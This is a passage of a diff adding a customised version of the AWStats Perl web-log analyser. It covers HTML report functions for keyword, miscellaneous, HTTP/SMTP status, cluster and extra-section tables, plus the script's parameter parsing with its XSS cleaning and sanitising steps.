"</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n"; + $total_s += $_keywords{$key}; + $count++; + } + if ($Debug) { + debug( "Total real / shown : $TotalKeywords / $total_s", 2 ); + } + my $rest_s = $TotalKeywords - $total_s; + if ( $rest_s > 0 ) { + my $p; + if ($TotalKeywords) { + $p = int( $rest_s / $TotalKeywords * 1000 ) / 10; + } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>"; + print "<td>$p %</td></tr>\n"; + } + &tab_end(); + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print "</td>\n"; + } + } + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print "</tr></table>\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Prints the miscellaneous table +# Parameters: - +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainMisc{ + if ($Debug) { debug( "ShowMiscStats", 2 ); } + print "$Center<a name=\"misc\"> </a><br />\n"; + my $title = "$Message[139]"; + &tab_head( "$title", 19, 0, 'misc' ); + print + "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>"; + print "<th width=\"100\"> </th>"; + print "<th width=\"100\"> </th>"; + print "</tr>\n"; + my %label = ( + 'AddToFavourites' => $Message[137], + 'JavascriptDisabled' => $Message[168], + 'JavaEnabled' => $Message[140], + 'DirectorSupport' => $Message[141], + 'FlashSupport' => $Message[142], + 'RealPlayerSupport' => $Message[143], + 'QuickTimeSupport' => $Message[144], + 'WindowsMediaPlayerSupport' => $Message[145], + 'PDFSupport' => $Message[146] + ); + + foreach my $key (@MiscListOrder) { + my $mischar = substr( $key, 0, 1 ); + if ( $ShowMiscStats !~ /$mischar/i ) { next; } + my $total = 0; + my $p; + if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; } + if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; } + if ( $MiscListCalc{$key} eq 'hm' ) { + $total = $_misc_h{'TotalMisc'} || 0; + } + if ($total) { + $p = + int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total * + 1000 ) / 10; + } + print "<tr>"; + print "<td class=\"aws\">" + . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) + . $label{$key} + . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; + if ( $MiscListCalc{$key} eq 'v' ) { + print "<td>" + . Format_Number(( $_misc_h{$key} || 0 )) + . " / ".Format_Number($total)." $Message[12]</td>"; + } + if ( $MiscListCalc{$key} eq 'u' ) { + print "<td>" + . Format_Number(( $_misc_h{$key} || 0 )) + . " / ".Format_Number($total)." $Message[18]</td>"; + } + if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; } + print "<td>" . ( $total ? "$p %" : " " ) . "</td>"; + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Status codes chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainHTTPStatus{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); } + print "$Center<a name=\"errors\"> </a><br />\n"; + my $title = "$Message[32]"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title .= " - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=ERRORS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'errors' ); + + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h ); + + # Graph the top five in a pie chart + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; + push @blocklabel, "$key"; + $cnt++; + if ($cnt > 4) { last; } + } + print "<tr><td colspan=\"5\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "$title", "httpstatus", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n"; + my $total_h = 0; + my $count = 0; + foreach my $key (@keylist) { + my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; + print "<tr" . Tooltip( $key, $key ) . ">"; + if ( $TrapInfosForHTTPErrorCodes{$key} ) { + print "<td><a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=errors$key") + : "$StaticLinks.errors$key.$StaticExt" + ) + . "\"$NewLinkTarget>$key</a></td>"; + } + else { print "<td valign=\"top\">$key</td>"; } + print "<td class=\"aws\">" + . ( + $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' ) + . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>" + . Format_Bytes( $_errors_k{$key} ) . "</td>"; + print "</tr>\n"; + $total_h += $_errors_h{$key}; + $count++; + } + &tab_end("* $Message[154]"); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Status codes chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainSMTPStatus{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); } + print "$Center<a name=\"errors\"> </a><br />\n"; + my $title = "$Message[147]"; + &tab_head( "$title", 19, 0, 'errors' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n"; + my $total_h = 0; + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h ); + + foreach my $key (@keylist) { + my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; + print "<tr" . Tooltip( $key, $key ) . ">"; + print "<td valign=\"top\">$key</td>"; + print "<td class=\"aws\">" + . ( + $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' ) + . "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>" + . Format_Bytes( $_errors_k{$key} ) . "</td>"; + print "</tr>\n"; + $total_h += $_errors_h{$key}; + $count++; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the cluster information chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainCluster{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowClusterStats", 2 ); } + print "$Center<a name=\"clusters\"> </a><br />\n"; + my $title = "$Message[155]"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title .= " - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=CLUSTER&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'clusters' ); + + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p ); + + # Graph the top five in a pie chart + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10; + push @blocklabel, "$key"; + $cnt++; + if ($cnt > 4) { last; } + } + print "<tr><td colspan=\"7\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "$title", "cluster", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + print + "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>"; + &HTMLShowClusterInfo('__title__'); + if ( $ShowClusterStats =~ /P/i ) { + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + } + if ( $ShowClusterStats =~ /H/i ) { + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + } + if ( $ShowClusterStats =~ /B/i ) { + print +"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; + } + print "</tr>\n"; + my $total_p = my $total_h = my $total_k = 0; + +# Cluster feature might have been enable in middle of month so we recalculate +# total for cluster section only, to calculate ratio, instead of using global total + foreach my $key (@keylist) { + $total_p += int( $_cluster_p{$key} || 0 ); + $total_h += int( $_cluster_h{$key} || 0 ); + $total_k += int( $_cluster_k{$key} || 0 ); + } + my $count = 0; + foreach my $key (@keylist) { + my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10; + my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10; + my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10; + print "<tr>"; + print "<td class=\"aws\">Computer $key</td>"; + &HTMLShowClusterInfo($key); + if ( $ShowClusterStats =~ /P/i ) { + print "<td>" + . ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : " " ) + . "</td><td>$p_p %</td>"; + } + if ( $ShowClusterStats =~ /H/i ) { + print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>"; + } + if ( $ShowClusterStats =~ /B/i ) { + print "<td>" + . Format_Bytes( $_cluster_k{$key} ) + . "</td><td>$p_k %</td>"; + } + print "</tr>\n"; + $count++; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints a chart or table for each extra section +# Parameters: $NewLinkParams, $NewLinkTarget, $extranum +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainExtra{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + my $extranum = shift; + + if ($Debug) { debug( "ExtraName$extranum", 2 ); } + print "$Center<a name=\"extra$extranum\"> </a><br />"; + my $title = + "$ExtraName[$extranum] - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks + ? XMLEncode( + "$AWScript${NewLinkParams}output=allextra$extranum") + : "$StaticLinks.allextra$extranum.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + print " - <a href=\"" + . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=EXTRA_$extranum&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "§ionTitle=$ExtraName[$extranum]&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + &tab_head( "$title", 19, 0, "extra$extranum" ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { + print "<th>$ExtraColumnTitle[$extranum][$extracol]</th>"; + } + + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print + "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<th>$Message[169]</th>"; # <th width=\"120\"> + } + print "</tr>\n"; + my $total_p = my $total_h = my $total_k = 0; + + #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } } + #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } } + my $count = 0; + if ( $MaxNbOfExtra[$extranum] ) { + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + &BuildKeyList( + $MaxNbOfExtra[$extranum], + $MinHitExtra[$extranum], + \%{ '_section_' . $extranum . '_l' }, + \%{ '_section_' . $extranum . '_l' } + ); + } + else { + &BuildKeyList( + $MaxNbOfExtra[$extranum], + $MinHitExtra[$extranum], + \%{ '_section_' . $extranum . '_l' }, + \%{ '_section_' . $extranum . '_l' } + ); + } + } + else { + @keylist = (); + } + my %keysinkeylist = (); + foreach my $key (@keylist) { + $keysinkeylist{$key} = 1; + my $firstcol = CleanXSS( DecodeEncodedString($key) ); + $total_p += ${ '_section_' . $extranum . '_p' }{$key}; + $total_h += ${ '_section_' . $extranum . '_h' }{$key}; + $total_k += ${ '_section_' . $extranum . '_k' }{$key}; + print "<tr>"; + my @col = split(/\./, $firstcol); + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { # MUDAR + my $result = sprintf( + "$ExtraColumnFormat[$extranum][$extracol]", # <td class=\"aws\"> sem center-align + $col[$extracol-1], $col[$extracol-1], $col[$extracol-1], $col[$extracol-1], $col[$extracol-1] ); + if (length($result) > 50 ) { + print "<td class='prev' id='$result' style=\"color:blue;\"><u> dados da query </u></td>"; + } else { + print "<td>$result</td>"; + } + } + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print "<td>" + . ${ '_section_' . $extranum . '_p' }{$key} . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print "<td>" + . ${ '_section_' . $extranum . '_h' }{$key} . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print "<td>" + . Format_Bytes( + ${ '_section_' . $extranum . '_k' }{$key} ) + . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<td>" + . ( + ${ '_section_' . $extranum . '_l' }{$key} + ? Format_Date( + ${ '_section_' . $extranum . '_l' }{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + $count++; + } + + # If we ask average or sum, we loop on all other records + if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] ) + { + foreach ( keys %{ '_section_' . $extranum . '_h' } ) { + if ( $keysinkeylist{$_} ) { next; } + $total_p += ${ '_section_' . $extranum . '_p' }{$_}; + $total_h += ${ '_section_' . $extranum . '_h' }{$_}; + $total_k += ${ '_section_' . $extranum . '_k' }{$_}; + $count++; + } + } + + # Add average row + if ( $ExtraAddAverageRow[$extranum] ) { + print "<tr>"; + print "<td class=\"aws\"><b>$Message[96]</b></td>"; + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print "<td>" + . ( $count ? Format_Number(( $total_p / $count )) : " " ) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print "<td>" + . ( $count ? Format_Number(( $total_h / $count )) : " " ) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print "<td>" + . ( + $count ? Format_Bytes( $total_k / $count ) : " " ) + . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<td> </td>"; + } + print "</tr>\n"; + } + + # Add sum row + if ( $ExtraAddSumRow[$extranum] ) { + print "<tr>"; + print "<td class=\"aws\"><b>$Message[102]</b></td>"; + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print "<td>" . Format_Number(($total_p)) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print "<td>" . Format_Number(($total_h)) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print "<td>" . Format_Bytes($total_k) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<td> </td>"; + } + print "</tr>\n"; + } + if ( $ExtraName[$extranum] eq 'Inserção de Dados' ) { + &tab_end("* $Message[170]"); + } else { + &tab_end(); + } +} + +#------------------------------------------------------------------------------ +# MAIN +#------------------------------------------------------------------------------ +( $DIR = $0 ) =~ s/([^\/\\]+)$//; +( $PROG = $1 ) =~ s/\.([^\.]*)$//; +$Extension = $1; +$DIR ||= '.'; +$DIR =~ s/([^\/\\])[\\\/]+$/$1/; + +$starttime = time(); + +# Get current time (time when AWStats was started) +( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday ) + = localtime($starttime); +$nowweekofmonth = int( $nowday / 7 ); +$nowweekofyear = + int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1; +if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; } +$nowdaymod = $nowday % 7; +$nowwday++; +$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear ); + +if ( $nowdaymod <= $nowwday ) { + if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) { + $nowweekofmonth = $nowweekofmonth + 1; + } +} +if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; } + +# Change format of time variables +$nowweekofmonth = "0$nowweekofmonth"; +if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; } +if ( $nowyear < 100 ) { $nowyear += 2000; } +else { $nowyear += 1900; } +$nowsmallyear = $nowyear; +$nowsmallyear =~ s/^..//; +if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; } +if ( $nowday < 10 ) { $nowday = "0$nowday"; } +if ( $nowhour < 10 ) { $nowhour = "0$nowhour"; } +if ( $nowmin < 10 ) { $nowmin = "0$nowmin"; } +if ( $nowsec < 10 ) { $nowsec = "0$nowsec"; } +$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec ); + +# Get tomorrow time (will be used to discard some record with corrupted date (future date)) +my ( + $tomorrowsec, $tomorrowmin, $tomorrowhour, + $tomorrowday, $tomorrowmonth, $tomorrowyear + ) + = localtime( $starttime + 86400 ); +if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; } +else { $tomorrowyear += 1900; } +if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; } +if ( $tomorrowday < 10 ) { $tomorrowday = "0$tomorrowday"; } +if ( $tomorrowhour < 10 ) { $tomorrowhour = "0$tomorrowhour"; } +if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; } +if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; } +$tomorrowtime = + int( $tomorrowyear + . $tomorrowmonth + . $tomorrowday + . $tomorrowhour + . $tomorrowmin + . $tomorrowsec ); + +# Allowed option +my @AllowedCLIArgs = ( + 'migrate', 'config', + 'logfile', 'output', + 'runascli', 'update', + 'staticlinks', 'staticlinksext', + 'noloadplugin', 'loadplugin', + 'hostfilter', 'urlfilter', + 'refererpagesfilter', 'lang', + 'month', 'year', + 'framename', 'debug', + 'showsteps', 'showdropped', + 'showcorrupted', 'showunknownorigin', + 'showdirectorigin', 'limitflush', + 'confdir', 'updatefor', + 'hostfilter', 'hostfilterex', + 'urlfilter', 'urlfilterex', + 'refererpagesfilter', 'refererpagesfilterex', + 'pluginmode', 'filterrawlog' +); + +# Parse input parameters and sanitize them for security reasons +$QueryString = ''; + +# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can +# be set to force AWStats to be ran as CLI even from a web page. +if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; } +if ( $ENV{'GATEWAY_INTERFACE'} ) { # Run from a browser as CGI + $DebugMessages = 0; + + # Prepare QueryString + if ( $ENV{'CONTENT_LENGTH'} ) { + binmode STDIN; + read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} ); + } + if ( $ENV{'QUERY_STRING'} ) { + $QueryString = $ENV{'QUERY_STRING'}; + + # Set & and & to & + $QueryString =~ s/&/&/g; + $QueryString =~ s/&/&/g; + } + + # Remove all XSS vulnerabilities coming from AWStats parameters + $QueryString = CleanXSS( &DecodeEncodedString($QueryString) ); + + # Security test + if ( $QueryString =~ /LogFile=([^&]+)/i ) { + error( +"Logfile parameter can't be overwritten when AWStats is used from a CGI" + ); + } + + # No update but report by default when run from a browser + $UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 ); + + if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); } + if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; } + if ( $QueryString =~ /pluginmode=([^&]+)/i ) { + $PluginMode = &Sanitize( "$1", 1 ); + } + if ( $QueryString =~ /configdir=([^&]+)/i ) { + $DirConfig = &Sanitize("$1"); + $DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL + $DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL + } + + # All filters + if ( $QueryString =~ /hostfilter=([^&]+)/i ) { + $FilterIn{'host'} = "$1"; + } # Filter on host list can also be defined with hostfilter=filter + if ( $QueryString =~ /hostfilterex=([^&]+)/i ) { + $FilterEx{'host'} = "$1"; + } # + if ( $QueryString =~ /urlfilter=([^&]+)/i ) { + $FilterIn{'url'} = "$1"; + } # Filter on URL list can also be defined with urlfilter=filter + if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } # + if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) { + $FilterIn{'refererpages'} = "$1"; + } # Filter on referer list can also be defined with refererpagesfilter=filter + if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) { + $FilterEx{'refererpages'} = "$1"; + } # + # All output + if ( $QueryString =~ /output=allhosts:([^&]+)/i ) { + $FilterIn{'host'} = "$1"; + } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed + if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) { + $FilterIn{'host'} = "$1"; + } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed + if ( $QueryString =~ /output=urldetail:([^&]+)/i ) { + $FilterIn{'url'} = "$1"; + } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed + if ( $QueryString =~ /output=refererpages:([^&]+)/i ) { + $FilterIn{'refererpages'} = "$1"; + } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed + + # If migrate + if ( $QueryString =~ /(^|-|&|&)migrate=([^&]+)/i ) { + $MigrateStats = &Sanitize("$2"); + $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/; + $SiteConfig = $5 ? $5 : 'xxx'; + $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file + } +} +else { # Run from command line + $DebugMessages = 1; + + # Prepare QueryString + for ( 0 .. @ARGV - 1 ) { + + # If migrate + if ( $ARGV[$_] =~ /(^|-|&|&)migrate=([^&]+)/i ) { + $MigrateStats = "$2"; + $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/; + $SiteConfig = $5 ? $5 : 'xxx'; + $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file + next; + } + + # TODO Check if ARGV is in @AllowedArg + if ($QueryString) { $QueryString .= '&'; } + my $NewLinkParams = $ARGV[$_]; + $NewLinkParams =~ s/^-+//; + $QueryString .= "$NewLinkParams"; + } + + # Remove all XSS vulnerabilities coming from AWStats parameters + $QueryString = CleanXSS($QueryString); + + # Security test + if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} + && $QueryString =~ /LogFile=([^&]+)/i ) + { + error( +"Logfile parameter can't be overwritten when AWStats is used from a CGI" + ); + } + + # Update with no report by default when run from command line + $UpdateStats = 1; + + if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); } + if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; } + if ( $QueryString =~ /pluginmode=([^&]+)/i ) { + $PluginMode = &Sanitize( "$1", 1 ); + } + if ( $QueryString =~ /configdir=([^&]+)/i ) { + $DirConfig = &Sanitize("$1"); + $DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL + $DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL + } + + # All filters + if ( $QueryString =~ /hostfilter=([^&]+)/i ) { + $FilterIn{'host'} = "$1"; + } # Filter on host list can also be defined with hostfilter=filter + if ( $QueryString =~ /hostfilterex=([^&]+)/i ) { + $FilterEx{'host'} = "$1"; + } # + if ( $QueryString =~ /urlfilter=([^&]+)/i ) { + $FilterIn{'url'} = "$1"; + } # Filter on URL list can also be defined with urlfilter=filter + if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } # + if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) { + $FilterIn{'refererpages'} = "$1"; + } # Filter on referer list can also be defined with refererpagesfilter=filter + if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) { + $FilterEx{'refererpages'} = "$1"; + } # + # All output + if ( $QueryString =~ /output=allhosts:([^&]+)/i ) { + $FilterIn{'host'} = "$1"; + } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed + if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) { + $FilterIn{'host'} = "$1"; + } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed + if ( $QueryString =~ /output=urldetail:([^&]+)/i ) { + $FilterIn{'url'} = "$1"; + } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed + if ( $QueryString =~ /output=refererpages:([^&]+)/i ) { + $FilterIn{'refererpages'} = "$1"; + } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed + # Config parameters + if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; } + + # If show options + if ( $QueryString =~ /showsteps/i ) { + $ShowSteps = 1; + $QueryString =~ s/showsteps[^&]*//i; + } + if ( $QueryString =~ /showcorrupted/i ) { + $ShowCorrupted = 1; + $QueryString =~ s/showcorrupted[^&]*//i; + } + if ( $QueryString =~ /showdropped/i ) { + $ShowDropped = 1; + $QueryString =~ s/showdropped[^&]*//i; + } + if ( $QueryString =~ /showunknownorigin/i ) { + $ShowUnknownOrigin = 1; + $QueryString =~ s/showunknownorigin[^&]*//i; + } + if ( $QueryString =~ /showdirectorigin/i ) { + $ShowDirectOrigin = 1; + $QueryString =~ s/showdirectorigin[^&]*//i; + } +} +if ( $QueryString =~ /(^|&|&)staticlinks/i ) { + $StaticLinks = "$PROG.$SiteConfig"; +} +if ( $QueryString =~ /(^|&|&)staticlinks=([^&]+)/i ) { + $StaticLinks = "$2"; +} # When ran from awstatsbuildstaticpages.pl +if ( $QueryString =~ /(^|&|&)staticlinksext=([^&]+)/i ) { + $StaticExt = "$2"; +} +if ( $QueryString =~ /(^|&|&)framename=([^&]+)/i ) { $FrameName = "$2"; } +if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { $Debug = $2; } +if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i ) { + $DatabaseBreak = $2; +} +if ( $QueryString =~ /(^|&|&)updatefor=(\d+)/i ) { $UpdateFor = $2; } + +if ( $QueryString =~ /(^|&|&)noloadplugin=([^&]+)/i ) { + foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; } +} +if ( $QueryString =~ /(^|&|&)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; } + +# Get/Define output +if ( $QueryString =~ + /(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i ) +{ + error( "Only 1 output option is allowed", "", "", 1 ); +} +if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(&|$)/i ) { + + # At least one output expected. We define %HTMLOutput + my $outputlist = "$2"; + if ($outputlist) { + $outputlist =~ s/^=//; + foreach my $outputparam ( split( /,/, $outputlist ) ) { + $outputparam =~ s/:(.*)$//; + if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; } + } + } + + # If on command line and no update + if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) { + $UpdateStats = 0; + } + + # If no output defined, used default value + if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; } +} +if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) { + $HTMLOutput{'main'} = 1; +} + +# Remove -output option with no = from QueryString +$QueryString =~ s/(^|&|&)output(&|$)/$1$2/i; +$QueryString =~ s/&+$//; + +# Check year, month, day, hour parameters +if ( $QueryString =~ /(^|&|&)month=(year)/i ) { + error("month=year is a deprecated option. Use month=all instead."); +} +if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) { + $YearRequired = 